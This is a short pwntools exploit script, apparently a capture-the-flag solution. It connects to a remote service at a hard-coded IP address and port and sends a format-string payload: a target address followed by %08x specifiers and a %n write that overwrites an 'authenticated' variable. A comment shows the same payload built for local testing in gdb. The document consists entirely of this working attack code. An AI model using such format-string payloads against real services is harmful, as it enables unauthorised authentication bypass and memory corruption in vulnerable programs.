# I use this command when debug with gdb:
# echo $(printf "\x4C\xA0\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n > tmp
# (gdb) r < tmp

from pwn import *

context.log_level = 'DEBUG'

sh = remote("106.55.152.166", 38192)

authenticated_addr = 0x0804A04C

postfix = b'.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n'

print(sh.recv())

sh.sendline(p32(authenticated_addr) + postfix)

print(sh.recv())
